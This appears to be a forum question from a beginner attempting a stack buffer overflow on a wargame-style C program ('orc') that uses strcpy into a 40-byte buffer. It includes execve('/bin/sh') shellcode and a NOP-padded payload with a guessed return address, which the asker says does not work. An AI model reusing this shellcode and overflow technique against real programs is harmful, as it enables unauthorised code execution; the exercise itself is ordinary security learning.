我正在尝试对以下程序进行缓冲区溢出:
#include <stdio.h>
#include <stdlib.h>
extern char **environ;
main(int argc, char *argv[]){
char buffer[40];
int i;
if(argc < 2){
printf("argv error\n");
exit(0);
}
// egghunter
for(i=0; environ[i]; i++)
memset(environ[i], 0, strlen(environ[i]));
if(argv[1][47] != '\xbf')
{
printf("stack is still your friend.\n");
exit(0);
}
strcpy(buffer, argv[1]);
printf("%s\n", buffer);
}
我用这个有效载荷来尝试溢出缓冲区,
./orc `perl -e 'print"\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xcd\x80","\x90"x11'``perl -e 'print "\x90"x9, **"\xac\xfa\xff\xbf"'`**
但是,它似乎不起作用,只给了我这个结果。
j
X?Rh//shh/bin??S?訴???????????
是的,这几乎是我第一次尝试 BOf,我觉得有效载荷末尾的 ret 地址(粗体)似乎不准确。那么,如何将 ret 地址放在 shellcode 的末尾呢?它有什么作用?提前致谢 :)